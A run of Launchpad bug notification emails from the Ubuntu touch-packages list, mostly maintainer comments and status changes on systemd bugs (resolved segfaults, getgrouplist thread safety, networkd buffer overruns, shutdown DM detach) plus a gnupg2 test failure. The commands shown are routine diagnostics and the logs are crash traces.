O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = 14
  | fcntl(14, F_GETFL)  = 0x28000 (flags 
O_RDONLY|O_LARGEFILE|O_NOFOLLOW)
  | fstat(14, {st_mode=S_IFREG|0644, st_size=173, ...}) = 0
  | fstat(14, {st_mode=S_IFREG|0644, st_size=173, ...}) = 0
  | fstat(14, {st_mode=S_IFREG|0644, st_size=173, ...}) = 0
  | read(14, "[Unit]\nDescription=rsync daemon\n"..., 4096) = 173
  | read(14, "", 4096)  = 0
  | close(14)   = 0
  | openat(AT_FDCWD, "/etc/systemd/system/rsyncd@.service", 
O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = 14
  | fcntl(14, F_GETFL)  = 0x28000 (flags 
O_RDONLY|O_LARGEFILE|O_NOFOLLOW)
  | fstat(14, {st_mode=S_IFREG|0644, st_size=173, ...}) = 0
  | fstat(14, {st_mode=S_IFREG|0644, st_size=173, ...}) = 0
  | fstat(14, {st_mode=S_IFREG|0644, st_size=173, ...}) = 0
  | read(14, "[Unit]\nDescription=rsync daemon\n"..., 4096) = 173
  | read(14, "", 4096)  = 0
  | close(14)   = 0
  | ^Cstrace: Process 1 detached

  This is with 237-3ubuntu10.43 on a host running Bionic.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1904369/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #14417
   https://github.com/systemd/systemd/issues/14417

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/14417
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  New
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1913423] Re: getgrouplist is not thread safe with libnss_systemd

[Dan Streetman]

** Description changed:

+ [impact]
+ 
+ programs calling getgrouplist() may crash as it is not thread-safe
+ 
+ [test case]
+ 
+ see upstream bug description for sample c program to reproduce:
+ https://github.com/systemd/systemd/issues/17007#issue-698123284
+ 
+ [regression potential]
+ 
+ any regression would likely occur when creating a hashmap in systemd, or
+ when any multi-threaded programs use the hashmap
+ 
+ [scope]
+ 
+ this is needed for f and b
+ 
+ this is fixed upstream by commit
+ ae0b700a856c0ae460d271bb50dccfaae84dbcab, already included in g/h (per
+ comment 1).
+ 
+ [original description]
+ 
  This upstream issue (https://github.com/systemd/systemd/issues/17007) is
  affecting the latest version of systemd in Ubuntu Focal. It has been
  fixed upstream with https://github.com/systemd/systemd/pull/17033. Can
  we have this patched for Focal please as it causes Mesos to randomly
  segfault on start.

** Description changed:

  [impact]
  
  programs calling getgrouplist() may crash as it is not thread-safe
  
  [test case]
  
  see upstream bug description for sample c program to reproduce:
  https://github.com/systemd/systemd/issues/17007#issue-698123284
  
  [regression potential]
  
  any regression would likely occur when creating a hashmap in systemd, or
- when any multi-threaded programs use the hashmap
+ when any multi-threaded programs concurrently create (and use) the
+ hashmap
  
  [scope]
  
  this is needed for f and b
  
  this is fixed upstream by commit
  ae0b700a856c0ae460d271bb50dccfaae84dbcab, already included in g/h (per
  comment 1).
  
  [original description]
  
  This upstream issue (https://github.com/systemd/systemd/issues/17007) is
  affecting the latest version of systemd in Ubuntu Focal. It has been
  fixed upstream with https://github.com/systemd/systemd/pull/17033. Can
  we have this patched for Focal please as it causes Mesos to randomly
  segfault on start.

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1913423

Title:
  getgrouplist is not thread safe with libnss_systemd

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  programs calling getgrouplist() may crash as it is not thread-safe

  [test case]

  see upstream bug description for sample c program to reproduce:
  https://github.com/systemd/systemd/issues/17007#issue-698123284

  [regression potential]

  any regression would likely occur when creating a hashmap in systemd,
  or when any multi-threaded programs concurrently create (and use) the
  hashmap

  [scope]

  this is needed for f and b

  this is fixed upstream by commit
  ae0b700a856c0ae460d271bb50dccfaae84dbcab, already included in g/h (per
  comment 1).

  [original description]

  This upstream issue (https://github.com/systemd/systemd/issues/17007)
  is affecting the latest version of systemd in Ubuntu Focal. It has
  been fixed upstream with
  https://github.com/systemd/systemd/pull/17033. Can we have this
  patched for Focal please as it causes Mesos to randomly segfault on
  start.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1913423/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

+3e000]
  [Mon Nov 30 19:32:28 2020] systemd-resolve[1730898]: segfault at 5648012b4770 
ip 5648012b4770 sp 7ffea0bd9e18 error 15
  [Mon Nov 30 19:53:01 2020] systemd-resolve[1732347]: segfault at 
0020 ip 55b0ace66686 sp 7ffc73f3c9d0 error 5 in 
systemd-resolved[55b0ace3f000+3e000]
  [Mon Nov 30 19:59:17 2020] systemd-resolve[1733001]: segfault at 52dd6b26 ip 
7fafebdf9dc9 sp 7ffd591cd2a0 error 4 in 
libsystemd-shared-245.so[7fafebdd4000+16e000]
  [Mon Nov 30 20:27:17 2020] systemd-resolve[1735033]: segfault at 1ac55647a0b 
ip 7fb26ea49dc9 sp 7ffdd481ff30 error 4 in 
libsystemd-shared-245.so[7fb26ea24000+16e000]
  [Mon Nov 30 22:42:37 2020] systemd-resolve[1746028]: segfault at 1ae39b02ae4 
ip 7f82f18d9dc9 sp 7ffc088615b0 error 4 in 
libsystemd-shared-245.so[7f82f18b4000+16e000]
  [Mon Nov 30 22:57:36 2020] systemd-resolve[1746999]: segfault at 1ae6963116c 
ip 7f85cc831dc9 sp 7ffce6f3f5f0 error 4 in 
libsystemd-shared-245.so[7f85cc80c000+16e000]
  [Tue Dec  1 00:22:16 2020] traps: systemd-resolve[1862379] general protection 
fault ip:55fb9c6b3760 sp:7fff017519a8 error:0 in 
systemd-resolved[55fb9c68c000+3e000]
  [Tue Dec  1 00:57:16 2020] systemd-resolve[1905008]: segfault at 1b015f1c2e7 
ip 7f47185b1dc9 sp 7ffd899bd1a0 error 4 in 
libsystemd-shared-245.so[7f471858c000+16e000]
  ~
  
  I also noted various interesting assertions in journal, in next comment…

** Also affects: systemd (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Hirsute)
   Importance: Undecided
   Status: In Progress

** Also affects: systemd (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu Groovy)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Groovy)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Hirsute)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Hirsute)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Groovy)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  systemd-resolved crashes

  [test case]

  TBD - see original description

  [regression potential]

  any regression would likely occur while processing sd_event objects,
  which are used throughout systemd code; this could result in crashes
  in almost any part of systemd code. However a more likely regression
  would be leaks of sd_event objects due to failure to release the final
  ref for an object.

  [scope]

  This is needed for f/g/h

  This might be fixed by upstream commit
  f814c871e65df8552a055dd887bc94b074037833; if so, that commit isn't
  included in any systemd release yet, and so is needed in h and
  earlier.

  [other info]

  I believe this is caused by a freed sd_event object that is then
  processed and calls the on_query_timeout callback with invalid state,
  leading to failed assertion, which causes resolved to crash; that's
  what analysis of the crash dump appears to indicate. This may be fixed
  by the upstream commit referenced in [scope], which takes additional
  refs during function calls. However I haven't reproduced this myself,
  so I'm only guessing as to the cause and solution at this point.

  I'm unsure why this would not occur in bionic, but per comment 5 it
  seems it doesn't happen in that release.

  [original description]

  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-res

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

If this is reproducable for anyone affected, can you test with the systemd 
build from this ppa:
https://launchpad.net/~ddstreet/+archive/ubuntu/systemd

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  In Progress

Bug description:
  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] systemd-resolve[1654540]: segfault at 19820a05297 
ip 7f6a92839dc9 sp 7ffe4ba00440 error 4 in 
libsystemd-shared-245.so[7f6a92814000+16e000]
  [Sun Nov 29 21:13:10 2020] systemd-resolve[1660272]: segfault at 555f9a5915e0 
ip 555f9a5915e0 sp 7fff053e5e68 error 15
  [Sun Nov 29 21:32:34 2020] systemd-resolve[1661026]: segfault at 1991af73f2e 
ip 7ff194021dc9 sp 7fffa6d61680 error 4 in 
libsystemd-shared-245.so[7ff193ffc000+16e000]
  [Sun Nov 29 22:03:20 2020] systemd-resolve[1661941]: segfault at 5625966828e0 
ip 5625966828e0 sp 7ffdf5a8bb48 error 15
  [Sun Nov 29 22:32:44 2020] systemd-resolve[1662604]: segfault at 199f18ae01d 
ip 7f457c9d1dc9 sp 7ffc62b80ef0 error 4 in 
libsystemd-shared-245.so[7f457c9ac000+16e000]
  [Sun Nov 29 23:12:23 2020] systemd-resolve[1664072]: segfault at 73b8 ip 
562619f8c93a sp 7ffd527b7ef0 error 6 in 
systemd-resolved[562619f61000+3e000]
  [Sun Nov 29 23:22:34 2020] systemd-resolve[1664423]: segfault at 19aaa4d4c00 
ip 7f2621539dc9 sp 7ffc73102280 error 4 in 
libsystemd-shared-245.so[7f2621514000+16e000]
  [Mon Nov 30 00:12:23 2020] systemd-resolve[1666158]: segfault at 19b5c72000a 
ip 7f530b5c1dc9 sp 7ffc6007ccf0 error 4 in 
libsystemd-shared-245.so[7f530b59c000+16e000]
  [Mon Nov 30 00:47:54 2020] systemd-resolve[1667280]: segfault at 10036 ip 
7f0736b8bbe8 sp 7fffed4d3cb0 error 4 in 
libsystemd-shared-245.so[7f0736acc000+16e000]
  [Mon Nov 30 01:57:53 2020] systemd-resolve[1669463]: segfault at 558d6b61c0c0 
ip 558d6b61c0c0 sp 7ffc68df7198 error 15
  [Mon Nov 30 02:58:08 2020] traps: systemd-resolve[1672553] general protection 
fault ip:55b967d86760 sp:7fffaecf4468 error:0 in 
systemd-resolved[55b967d5f000+3e000]
  [Mon Nov 30 03:38:08 2020] systemd-resolve[1673682]: segfault at 19e3c4d5050 
ip 7fdf0ba29dc9 

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

** Changed in: systemd (Ubuntu)
   Status: Incomplete => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  In Progress

Bug description:
  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] systemd-resolve[1654540]: segfault at 19820a05297 
ip 7f6a92839dc9 sp 7ffe4ba00440 error 4 in 
libsystemd-shared-245.so[7f6a92814000+16e000]
  [Sun Nov 29 21:13:10 2020] systemd-resolve[1660272]: segfault at 555f9a5915e0 
ip 555f9a5915e0 sp 7fff053e5e68 error 15
  [Sun Nov 29 21:32:34 2020] systemd-resolve[1661026]: segfault at 1991af73f2e 
ip 7ff194021dc9 sp 7fffa6d61680 error 4 in 
libsystemd-shared-245.so[7ff193ffc000+16e000]
  [Sun Nov 29 22:03:20 2020] systemd-resolve[1661941]: segfault at 5625966828e0 
ip 5625966828e0 sp 7ffdf5a8bb48 error 15
  [Sun Nov 29 22:32:44 2020] systemd-resolve[1662604]: segfault at 199f18ae01d 
ip 7f457c9d1dc9 sp 7ffc62b80ef0 error 4 in 
libsystemd-shared-245.so[7f457c9ac000+16e000]
  [Sun Nov 29 23:12:23 2020] systemd-resolve[1664072]: segfault at 73b8 ip 
562619f8c93a sp 7ffd527b7ef0 error 6 in 
systemd-resolved[562619f61000+3e000]
  [Sun Nov 29 23:22:34 2020] systemd-resolve[1664423]: segfault at 19aaa4d4c00 
ip 7f2621539dc9 sp 7ffc73102280 error 4 in 
libsystemd-shared-245.so[7f2621514000+16e000]
  [Mon Nov 30 00:12:23 2020] systemd-resolve[1666158]: segfault at 19b5c72000a 
ip 7f530b5c1dc9 sp 7ffc6007ccf0 error 4 in 
libsystemd-shared-245.so[7f530b59c000+16e000]
  [Mon Nov 30 00:47:54 2020] systemd-resolve[1667280]: segfault at 10036 ip 
7f0736b8bbe8 sp 7fffed4d3cb0 error 4 in 
libsystemd-shared-245.so[7f0736acc000+16e000]
  [Mon Nov 30 01:57:53 2020] systemd-resolve[1669463]: segfault at 558d6b61c0c0 
ip 558d6b61c0c0 sp 7ffc68df7198 error 15
  [Mon Nov 30 02:58:08 2020] traps: systemd-resolve[1672553] general protection 
fault ip:55b967d86760 sp:7fffaecf4468 error:0 in 
systemd-resolved[55b967d5f000+3e000]
  [Mon Nov 30 03:38:08 2020] systemd-resolve[1673682]: segfault at 19e3c4d5050 
ip 7fdf0ba29dc9 sp 7ffe4d561430 error 4 in 
libsystemd-shared-245.so[7fdf0ba04000+16e000]
  

[Touch-packages] [Bug 1825186] Re: gpgv-win32 autopkgtest always fails

[Dan Streetman]

** Changed in: gnupg2 (Ubuntu)
   Status: Opinion => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnupg in Ubuntu.
https://bugs.launchpad.net/bugs/1825186

Title:
  gpgv-win32 autopkgtest always fails

Status in gnupg package in Ubuntu:
  Invalid
Status in gnupg2 package in Ubuntu:
  Fix Released
Status in gnupg source package in Xenial:
  Won't Fix
Status in gnupg2 source package in Bionic:
  Fix Committed
Status in gnupg2 source package in Cosmic:
  Won't Fix
Status in gnupg2 source package in Disco:
  Fix Released

Bug description:
  [impact]

  gpgv-win32 autopkgtest always fails

  [test case]

  check http://autopkgtest.ubuntu.com/packages/g/gnupg2

  or run autopkgtest manually

  note the gpgv-win32 test is skipped on ppc64el and s390x for b/c, and
  has been removed from d/t/control entirely in d

  [regression potential]

  little to none; this affects the test case only

  [other info]

  as mentioned, in disco, the gpgv-win32 test has been removed from the
  tests/control completely.  not sure if that is a better approach than
  fixing the test case.  For now, I marked this Fix Released for disco
  since it doesn't fail there (since the testcase was removed).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnupg/+bug/1825186/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1905166] Re: systemd-shutdown cannot detach DM

[Dan Streetman]

for those affected, does this happen every boot/shutdown?

is this a 'standard' installation, using the standard iso?

what do you have mounted? what's the output of 'mount' and the output of
'lsblk'?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905166

Title:
  systemd-shutdown cannot detach DM

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  when powering down the system systemd cannot unmount /

  systemd-shutdown[1]: Could not detach DM /dev/dm-0: Device or resource busy
  systemd-shutdown[1]: Failed to finalize  DM devices, ignoring
  reboot: Power down

  as a result at each startup the filesystem is checked:

  Press Ctrl+C to cancel all filesystem checks in progress

  If systemd cannot unmount / that might not be a problem but it should
  be less noisy and not result in a filesystem check after each reboot.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.3
  ProcVersionSignature: Ubuntu 5.4.0-54.60-generic 5.4.65
  Uname: Linux 5.4.0-54-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.12
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Nov 22 11:40:05 2020
  MachineType: Dell Inc. Latitude 7410
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-54-generic 
root=/dev/mapper/vgubuntu-root ro quiet splash vt.handoff=7
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /usr/lib/systemd/system/rc-local.service → 
/usr/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /usr/lib/systemd/system/user@.service → 
/usr/lib/systemd/system/user@.service.d/timeout.conf
   
   2 overridden configuration files found.
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/11/2020
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.4.1
  dmi.board.name: 0M5G57
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 31
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.4.1:bd10/11/2020:svnDellInc.:pnLatitude7410:pvr:rvnDellInc.:rn0M5G57:rvrA00:cvnDellInc.:ct31:cvr:
  dmi.product.family: Latitude
  dmi.product.name: Latitude 7410
  dmi.product.sku: 09CD
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1905166/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915746] Re: systemd-resolved configuration does not resolve any hostnames

[Dan Streetman]

> # cat /etc/resolv.conf (linked to /run/resolvconf/resolv.conf)

resolvconf has been discouraged for a while; you should remove it, and
have resolv.conf symlink to the systemd-resolved stub-resolv.conf file.

Even if you need to keep it, this isn't a systemd bug, it would be a bug
in resolvconf (or possibly just a local misconfiguration).

** Package changed: systemd (Ubuntu) => resolvconf (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1915746

Title:
  systemd-resolved configuration does not resolve any hostnames

Status in resolvconf package in Ubuntu:
  New

Bug description:
  systemd-resolved will, unter certain circumstances create local only
  DNS resolution:

  # host google.com
  ;; connection timed out; no servers could be reached

  
  looking at what is going on behind:

  # cat /etc/resolv.conf (linked to /run/resolvconf/resolv.conf)
  nameserver 127.0.0.1
  nameserver 127.0.0.53
  searchDOMAINS

  # systemd-resolve --status
  Global
   Protocols: -LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
resolv.conf mode: foreign
  Current DNS Server: 127.0.0.1
 DNS Servers: 127.0.0.1
  DNS Domain: DOMAINS   

  Link 2 (eth0)
  Current Scopes: none
   Protocols: -DefaultRoute +LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
  DNS Domain: DOMAINS

  Link 3 (virbr0)
  Current Scopes: none
   Protocols: -DefaultRoute +LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported

  Link 4 (vmnet1)
  Current Scopes: none
   Protocols: -DefaultRoute +LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported

  Link 5 (vmnet2)
  Current Scopes: none
   Protocols: -DefaultRoute +LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported

  Link 6 (vmnet8)
  Current Scopes: none
   Protocols: -DefaultRoute +LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported

  This is a useless configuration: dnsmasq asks systemd-resolvd,
  systemd-resolvd asks dnsmasq. Without ever going to any of the
  upstream servers. One of them: systemd-resolvd or dnsmasq shall ask
  upstream servers. But non of them does.

  ProblemType: Bug
  DistroRelease: Ubuntu 21.04
  Package: systemd 247.1-4ubuntu1
  ProcVersionSignature: Ubuntu 5.8.0-36.40+21.04.1-generic 5.8.18
  Uname: Linux 5.8.0-36-generic x86_64
  ApportVersion: 2.20.11-0ubuntu57
  Architecture: amd64
  CasperMD5CheckResult: unknown
  Date: Mon Feb 15 19:16:05 2021
  InstallationDate: Installed on 2014-01-31 (2572 days ago)
  InstallationMedia: Ubuntu-Server 13.10 "Saucy Salamander" - Release amd64 
(20131016)
  MachineType: Hewlett-Packard HP Compaq 6200 Pro MT PC
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-5.8.0-36-generic 
root=UUID=de4af024-5d59-4f85-b5ca-11f17f085706 ro rootflags=subvol=@ 
consoleblank=0 video=DP-1:e,HDMI-1:e
  SourcePackage: systemd
  UpgradeStatus: Upgraded to hirsute on 2018-11-23 (815 days ago)
  dmi.bios.date: 11/10/2011
  dmi.bios.release: 2.15
  dmi.bios.vendor: Hewlett-Packard
  dmi.bios.version: J01 v02.15
  dmi.board.name: 1497
